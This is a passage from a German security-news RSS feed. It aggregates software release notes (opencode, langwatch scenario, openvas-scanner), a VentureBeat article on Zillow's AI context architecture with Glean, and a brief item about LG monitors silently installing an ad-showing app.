@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 screenshots]]></title>
<description><![CDATA[Visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681871/downloads/pr-37967-screenshots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681871/downloads/pr-37967-screenshots/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 final screenshots]]></title>
<description><![CDATA[Final visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681870/downloads/pr-37967-final-screenshots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681870/downloads/pr-37967-final-screenshots/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:37 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Final visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37967 screenshots (final)]]></title>
<description><![CDATA[Final visual evidence for PR #37967.]]></description>
<link>https://tsecurity.de/de/3681869/downloads/pr-37967-screenshots-final/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681869/downloads/pr-37967-screenshots-final/</guid>
<pubDate>Mon, 20 Jul 2026 19:46:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Final visual evidence for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931392663" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37967" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37967/hovercard" href="https://github.com/anomalyco/opencode/pull/37967">#37967</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[At VB Transform 2026, Zillow's engineering chief said AI ROI numbers only hold up if you measure before you build]]></title>
<description><![CDATA[Zillow, the real estate technology company, doesn't get one conversation with its customers. They move from a phone screen to a loan officer to a real estate agent, sometimes over months or years, and expect the context to follow them. A single chatbot could never carry that thread.At VB Transfor...]]></description>
<link>https://tsecurity.de/de/3681824/it-nachrichten/at-vb-transform-2026-zillows-engineering-chief-said-ai-roi-numbers-only-hold-up-if-you-measure-before-you-build/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681824/it-nachrichten/at-vb-transform-2026-zillows-engineering-chief-said-ai-roi-numbers-only-hold-up-if-you-measure-before-you-build/</guid>
<pubDate>Mon, 20 Jul 2026 19:18:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zillow, the real estate technology company, doesn't get one conversation with its customers. They move from a phone screen to a loan officer to a real estate agent, sometimes over months or years, and expect the context to follow them. A single chatbot could never carry that thread.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, Zillow SVP of Engineering Toby Roberts and Glean co-founder and CEO Arvind Jain described how they built AI architecture meant to carry context across that entire journey — and why context, not raw data, turned out to be the harder problem to solve. Zillow's products touch roughly 80% of U.S. real estate transactions each year, and the company has been using AI long before ChatGPT existed.</p><p>"We pretty quickly identified that we were going to need a persistent context layer that was going to meet our customers and the professionals wherever they were," Roberts said.</p><h2>Data was never the hard part</h2><p>Roberts said Zillow's AI effort started where most enterprise AI efforts start, with the data itself.</p><p>"We started with a large push around making sure our data did have the right foundation," Roberts said. That meant a data mesh approach, clear data lineage and a governance structure with permissions and identity attached to the data itself.</p><p>None of that turned out to be the hard problem. The hard problem was building something that remembered where a customer was in their journey and carried that forward, no matter which surface they showed up on next.</p><p>"This context layer has to live to be able to support you where you are at any given point in your journey," Roberts said. Zillow chose to own that layer itself rather than depend on a single external chat interface, a decision Roberts said the team reached quickly once it looked at the shape of a real transaction rather than a single conversation.</p><h2>Why Zillow built its own architecture, and where Glean fits into it</h2><p>Zillow built its own harness rather than route customers through a single model API. The team drew on 20 years of machine learning history behind products like Zestimate, leaning into smaller, task-specific fine-tuned models instead of one general-purpose model.</p><p>Internally, that harness runs alongside Glean. Roberts said Zillow now has thousands of Glean agents in production, handling repetitive tasks with tens of thousands of executions across the company. Glean's pitch, per Jain, is centralizing that integration work once, through the Glean MCP gateway, rather than letting finance, legal and marketing each rebuild their own connections to the same systems.</p><p>That centralization is also a cost lever. Jain pointed to two mechanisms: model routing, which sends most tasks to smaller, cheaper models instead of defaulting to frontier models, and precomputed context, which avoids an agent burning tokens assembling its own context from scratch.</p><p>"Claude is also very slow because the first part of assembling that context actually takes forever," Jain said. Routing that request through Glean instead, he said, can cut token consumption by as much as half.</p><h2>What Zillow and Glean's approach means for enterprises</h2><p>Across data, cost and permissions, the session offered a few practical takeaways for enterprises building agentic AI on their own systems.</p><p><b>Build the measurement baseline before the AI push, not after. </b>Roberts said Zillow's ability to credibly attribute a 40% increase in shipped code to AI adoption rests on a DORA metrics baseline the team put in place years earlier, not on the AI rollout itself.</p><p><b>Centralize context once instead of letting every team rebuild it.</b> Jain's core argument for Glean's platform is that duplicated integration work across finance, legal and marketing teams is a hidden cost most enterprises haven't accounted for.</p><p><b>Don't assume permission inheritance is enough for regulated data.</b> Even with a permissions-aware context platform in place, Zillow layered hard rules and a standing compliance check on top for its most sensitive categories, rather than trusting the architecture to handle it automatically.</p><p><b>Treat context as a cost lever, not just a capability.</b> Model routing and precomputed context were the two mechanisms Jain pointed to for cutting AI spend, both aimed at reducing wasted token consumption rather than adding new capability.</p><p>"Models by themselves are not enough to bring automation with AI inside your enterprise," Jain said. "You do have to connect it with your enterprise context."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[LG’s monitors come with an unwanted addition for Windows: McAfee pop-up ads]]></title>
<description><![CDATA[A video from Gamers Nexus explains how, after connecting a new LG UltraGear monitor to a PC running Windows 11 for the first time, Windows Update is silently installing LG driver updates and the LG Monitor App Installer, without so much as a permission pop-up or notification. The app doesn't appe...]]></description>
<link>https://tsecurity.de/de/3681635/it-nachrichten/lgs-monitors-come-with-an-unwanted-addition-for-windows-mcafee-pop-up-ads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681635/it-nachrichten/lgs-monitors-come-with-an-unwanted-addition-for-windows-mcafee-pop-up-ads/</guid>
<pubDate>Mon, 20 Jul 2026 18:50:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A video from Gamers Nexus explains how, after connecting a new LG UltraGear monitor to a PC running Windows 11 for the first time, Windows Update is silently installing LG driver updates and the LG Monitor App Installer, without so much as a permission pop-up or notification. The app doesn't appear to include special controls […]]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.4]]></title>
<description><![CDATA[Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of fallin...]]></description>
<link>https://tsecurity.de/de/3681569/downloads/v1184/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681569/downloads/v1184/</guid>
<pubDate>Mon, 20 Jul 2026 17:47:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Reduce OpenAI provider header timeouts during slow connection setup.</li>
<li>Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.</li>
<li>Restore Azure Cognitive Services endpoint support for Azure-hosted models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Sync the embedded terminal theme with the app theme.</li>
<li>Improve the review panel so open file tabs can stay aligned with the current diff view.</li>
<li>Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.</li>
<li>Improve review panel resizing and sticky controls.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve command drafts in the command menu.</li>
<li>Avoid session view failures when message parent links are missing.</li>
<li>Prevent sending empty prompt text parts.</li>
<li>Restore model variant selection accessibility.</li>
<li>Show keybind tooltips on prompt input controls. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>)</li>
<li>Deduplicate repeated file entries in diff summaries.</li>
<li>Prevent recovery window handling from touching destroyed windows.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(nix): relax Bun version check for desktop build (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877704946" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36767/hovercard" href="https://github.com/anomalyco/opencode/pull/36767">#36767</a>)</li>
<li>fix(nix): restore desktop integration (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897416572" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37197" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37197/hovercard" href="https://github.com/anomalyco/opencode/pull/37197">#37197</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProdigyRahul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProdigyRahul">@ProdigyRahul</a>:
<ul>
<li>fix(app): show keybind tooltips on prompt input controls (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924806992" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37824/hovercard" href="https://github.com/anomalyco/opencode/pull/37824">#37824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>:
<ul>
<li>feat(opencode): use adaptive thinking effort for kimi family on anthr… (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920812833" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37696" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37696/hovercard" href="https://github.com/anomalyco/opencode/pull/37696">#37696</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.49.5]]></title>
<description><![CDATA[23.49.5 - 2026-07-20
Changed

Smaller LOGO in README (#2287) 77abcc4b

Bug Fixes

OpenAPI spec and scanner framework status codes 6c2e24e3]]></description>
<link>https://tsecurity.de/de/3681228/downloads/v23495/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681228/downloads/v23495/</guid>
<pubDate>Mon, 20 Jul 2026 15:16:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.49.4...v23.49.5">23.49.5</a> - 2026-07-20</h2>
<h2>Changed</h2>
<ul>
<li>Smaller LOGO in README (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911616891" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2287" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2287/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2287">#2287</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/77abcc4b">77abcc4b</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
